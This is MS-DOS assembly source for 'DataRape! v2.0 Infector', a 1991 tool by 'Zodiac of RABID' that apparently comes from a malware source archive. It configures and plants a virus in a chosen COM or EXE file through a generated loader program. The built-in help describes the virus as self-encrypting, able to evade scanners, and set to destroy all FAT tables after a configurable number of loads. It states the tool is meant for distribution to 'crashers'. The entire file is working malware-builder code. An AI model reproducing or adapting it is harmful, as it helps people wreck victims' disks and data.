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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.dr20-inf.asm

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2021-01-12 23:41:47 +00:00
; DataRape! v2.0 Infector
;
; I know you won't dist this, DD. Sorry its a bit sloppy, but it works.
;
; - Zodiac (06/26/91)
print macro
call prints
endm
cls macro
call clrscr
endm
code segment
assume cs:code, ds:code
org 100h
start: jmp main_menu
include loader.inc
main_menu_str db "DataRape! v2.0 Infector",13,10
db "(c)1991 Zodiac of RABID",13,10
db 13,10
db "A. Information/Help",13,10
db "B. Configure Virus",13,10
db "C. View Scrolling",13,10
db "D. Infect File",13,10
db "E. Exit to Dos",13,10
db 13,10
db "Command: $"
help_scr db " DataRape! v2.0 Information/Help",13,10
db 13,10
db "DataRape! v2.0 is a mutating self-encrypting destructive stealth",13,10
db "EXE/COM infector. It infects files upon execution, browsing,",13,10
db "copying, and renaming. The encryption method changes randomly as",13,10
db "does the encryption header. The virus should not be picked-up by",13,10
db "conventional string scanners(ie SCAN). If so, it will be changed.",13,10
db "After a specified number of successful loads to memory, the virus",13,10
db "turns destructive and destroys all available FAT tables. It then",13,10
db "proceeds to display a configurable scrolling message in",13,10
db "configurable colors.",13,10
db 13,10
db "This infection program is self-explanatory, and is intended for",13,10
db "general distribution to RABID's selected crashers. This virus has",13,10
db "taken many, many hours away from my life. But, it was a pleasure",13,10
db "programming and a new version will be released(shortly?).",13,10
db 13,10
db "Good Luck! Try not to get busted( trust me, it stinks. ).",13,10
db 13,10
db '"Fear the Government that Fears Your Computer!"',13,10
db 13,10
db " -- Zodiac of RABID, USA",13,10
db 13,10
db "P.S. I wrote this infector in assembly, can't you tell?$",13,10
config_scr db "DataRape! v2.0 Configuration",13,10
db 13,10
db "Loads before Destruction(20 recommended) : "
db "$"
config_2 db 13,10
db 13,10
db "Note: Press spacebar a few times at beginning or end of message.",13,10
db 13,10
db "Enter Scrolling Message: $"
config_3 db 'Enter Colors in form: "bf", where "b" is the background and "f" the foreground.',13,10
db ' <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ',13,10
db 'Colors: <20> FOREGROUND ONLY <20>',13,10
db ' <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>',13,10
db '0 : black 4 : red <20><> <20> 8 : light grey C : light red',13,10
db '1 : blue 5 : magenta <20><>Ĵ 9 : light blue D : light magenta'
db '2 : green 6 : brown <20><>Ĵ A : light greenta E : yellow',13,10
db '3 : cyan 7 : white <20> B : light cyan F : bright white',13,10
db ' <20><><EFBFBD><EFBFBD><EFBFBD>',13,10
db 13,10
db 'Background Color : $'
config_4 db 13,10
db 'Border Color : $'
config_5 db 13,10
db 'Scroll Color : $'
color_s db "bf",8,8,"$"
infect_1 db "DataRape! v2.0 Infection",13,10
db 13,10
db "Finally...",13,10
db 13,10
db "It would be a good idea to View Scrolling before you infect a file",13,10
db "to make sure you set up the colors right and the message is OK.",13,10
db 13,10
db "Who else but RABID would allow configurable colors? ",13,10
db 13,10
db "File to Infect : $"
infect_2 db 13,10
db 13,10
db "An attempt will be made to infect the selected file.",13,10
db "If the file does not exist, or does not qualify for",13,10
db "infection, it will not be. It is up to you to find",13,10
db "out whether it worked or not. Remember, only COM and",13,10
db "EXE files that are over 1885 bytes are infected.$"
infect_3 db 13,10
db 13,10
db "File Infection Successful. RABID - Keeping the Dream Alive!$"
infect_4 db 13,10
db 13,10
db "File Infection Unsuccessful!$"
infect_5 db 13,10
db 13,10
db "File Not Found$"
clrscr: mov ax,0003
int 10h
ret
prints: mov ah,9
int 21h
ret
get_key: mov ah,8
int 21h
ret
get_up_key: call get_key
cmp al,"a"
jb got_up
cmp al,"z"
ja got_up
sub al,"a"-"A"
got_up: ret
get_num: call get_key
cmp al,27
je got_num
cmp al,"0"
jb get_num
cmp al,"9"
ja get_num
got_num: ret
nl: mov ah,0Eh
mov al,13
int 10h
mov al,10
int 10h
ret
main_menu: cls
mov dx,offset main_menu_str
print
main_key: call get_up_key
cmp al,"A"
je info_help
cmp al,"B"
je config
cmp al,"C"
jne is_it_d
jmp view_scroll
is_it_d: cmp al,"D"
jne isitexit
jmp infectfile
isitexit: cmp al,"E"
je exit
cmp al,27
je exit
jmp main_key
exit: jmp done
info_help: cls
mov dx,offset help_scr
print
call get_key
info_done: jmp main_menu
config: cls
mov dx,offset config_scr
print
mov cx,2
get_freq: call get_num
cmp al,27
je info_done
mov ah,0Eh
int 10h
sub al,"0"
push ax
loop get_freq
pop bx
pop ax
mov cl,10
mul cl
add al,bl
cmp al,2
jb info_done
mov countr,al
mov di,offset msg
mov al,0
mov cx,216
rep stosb
mov ah,9
mov dx,offset config_2
int 21h
xor bx,bx
mov ax,0AFAh
mov cx,215
int 10h
mov ah,2
mov dx,0619h
int 10h
mov si,offset msg
mov di,si
mov bp,0
get_char_loop:call get_key
cmp al,27
je done_config
cmp al,13
je done_get
cmp al,08
jne no_back
cmp bp,0
je get_char_loop
mov ah,3
int 10h ; GETS INFO
dec bp
dec di
cmp dl,0
jne no_new_line
dec dh
mov dl,80
no_new_line: dec dl
mov ah,2
int 10h
mov ah,0Ah
mov al,250
mov cx,1
int 10h
jmp get_char_loop
no_bacK: stosb
inc bp
mov ah,0Eh
int 10h
cmp bp,215
je done_get
jmp get_char_loop
done_get: mov al,0
stosb
mov ah,2
mov dx,0A00h
int 10h
mov dx,offset config_3
print
mov si,offset back_round + 1
call get_clr
mov dx,offset config_4
print
mov si,offset bord_clr + 1
call get_clr
mov dx,offset config_5
print
mov si,offset scroll_clr + 1
call get_clr
done_config: jmp main_menu
pop_done: pop ax
jmp main_menu
get_clr: mov dx,offset color_s
print
get_color: call get_key
cmp al,27
je done_config
cmp al,"0"
jb get_color
cmp al,"7"
ja get_color
mov ah,0Eh
int 10h
sub al,"0"
push ax
get_color_2: call get_up_key
cmp al,27
je pop_done
cmp al,"0"
jb get_color_2
cmp al,"9"
ja maybe_char
mov ah,0Eh
int 10h
sub al,"0"
jmp short ok_clr_2
maybe_char: cmp al,"A"
jb get_color_2
cmp al,"F"
ja get_color_2
mov ah,0Eh
int 10h
sub al,"A"-10
ok_clr_2: pop cx
push ax
xor ax,ax
mov al,cl
mov cl,4
shl al,cl
pop cx
add al,cl
mov [si],al
ret
view_scroll:
;************************
nuke: call rel
rel: pop di
sub di,offset rel - offset nuke
push cs
pop ds
mov ax,1
int 10h ; 40 * 40 COLOR
mov ah,1
mov cx,2020h
int 10h ; NULS CURSOR
mov ax,0600h
xor cx,cx
mov dx,184Fh
back_round: mov bh,12
int 10h ; CLEARS BACKGROUND WINDOW
mov cx,0900h
mov dx,094Fh
scroll_clr: mov bh,4Fh
int 10h ; CLEARS MESSAGE WINDOW
xor bx,bx
mov dx,0800h
mov ah,2
int 10h
bord_clr: mov bx,02h ; clr
mov cx,40
mov ax,09C4h
push ax
push bx
push cx
int 10h
mov dx,0A00h
mov ah,2
int 10h
pop cx
pop bx
pop ax
int 10h
mov dx,030Ch
mov si,di
add si,offset header-offset nuke
mov cx,4
head_print: mov ah,2
int 10h
xy_loop: lodsb
mov ah,0Eh
int 10h
cmp al,0
jne xy_loop
inc dh
loop head_print
mov bp,39
scroll: mov dx,0900h
call xy
cmp bp,1
jb no_pad
mov cx,bp
mov ax,0A20h
int 10h
add dx,cx
call xy
mov cx,40
sub cx,bp
dec bp
mov si,offset msg-offset nuke
add si,di
jmp short sprint
no_pad: mov cx,40
inc si
cmp byte ptr [si],0
jne sprint
mov si,offset msg-offset nuke
add si,di
sprint: push si
call prnt
pop si
jmp short scroll
prnt:
lodsb
cmp al,0
jne pchar
mov si,offset msg-offset nuke
add si,di
jmp short prnt
pchar: mov ah,0Eh
int 10h
mov ah,1
int 16h
jc go_main_menu
loop prnt
mov cx,6
main_pause: push cx
mov cx,0FFFFh
pause: loop pause
pop cx
loop main_pause
done_pause: ret
go_main_menu: pop ax
jmp main_menu
xy: mov ah,2
int 10h
ret
header db "DataRape! v2.0",0
db "-CONFIGURABLE-",0
db "(c)1991 Zodiac",0
db " RABID, USA ",0
go_ret_infect:jmp main_menu
infectfile: cls
mov dx,offset infect_1
print
mov ah,0Ah
mov dx,offset file_in
int 21h
cmp chars,4
jb go_ret_infect
mov cx,61
mov di,offset file_name
mov al,13
repne scasb
mov byte ptr [di-1],0
mov ah,4Eh
mov cx,0
mov dx,offset file_name
int 21h
jnc file_found
jmp bad_file
file_found:
mov ah,41h
mov dx,offset loader
int 21h
; prepare loader
mov si,offset file_name
xor cx,cx
mov cl,chars
mov di,offset datarape+56
rep movsb
mov si,offset msg
mov di,offset dr_msg
mov cx,215
rep movsb
mov ah,byte ptr [back_round+1]
mov al,byte ptr [scroll_clr+1]
mov bl,byte ptr [bord_clr+1]
mov backclr,ah
mov scrclr,al
mov bordclr,bl
mov ah,3Ch
mov cx,0
mov dx,offset loader
int 21h ; creates it
jc go_ret_infect
mov bx,ax
mov ah,40h
mov cx,loadsize
mov dx,offset datarape
int 21h ; writes it
mov ah,3Eh
int 21h ; closes it
call kill_cntr
mov bx,(code_done-start+110h)/16
mov ah,4Ah
int 21h
mov dx,offset loader
mov bx,offset loader
mov ax,4B00h
int 21h ; exec file
call kill_cntr
mov ah,41h
mov dx,offset loader
int 21h ; kills loader
mov ax,3D00h
mov dx,offset file_name
int 21h
mov bx,ax
mov ax,5700h
int 21h
mov ah,3Eh
int 21h
and cx,1Fh
cmp cx,1Fh
jne bad_infect
mov dx,offset infect_3
print
jmp short get_char
bad_infect: mov dx,offset infect_4
print
jmp short get_char
bad_file: mov dx,offset infect_5
print
get_char: call get_key
ret_infect: jmp main_menu
kill_cntr: mov ah,19h
int 21h
add al,"A"
mov byte ptr [offset nasty],al
mov dx,offset nasty
mov ax,4301h
xor cx,cx
int 21h ; NULS ATTRIBUTES
mov ah,41h
int 21h ; Deletes Counter File
ret
done: cls
int 20h
nasty db "A:\",0FFh,0FFh,0FFh,".",0FFh,0FFh,0
badfile db "Bad File...$"
loader db "LOADER.COM",0
file_in db 60
chars db 0
file_name db 60 dup(0)
msg db "RABID, INTERNATIONAL - Keeping the Dream Alive. (YOUR NAME HERE!)"
code_done equ $
code ends
end start
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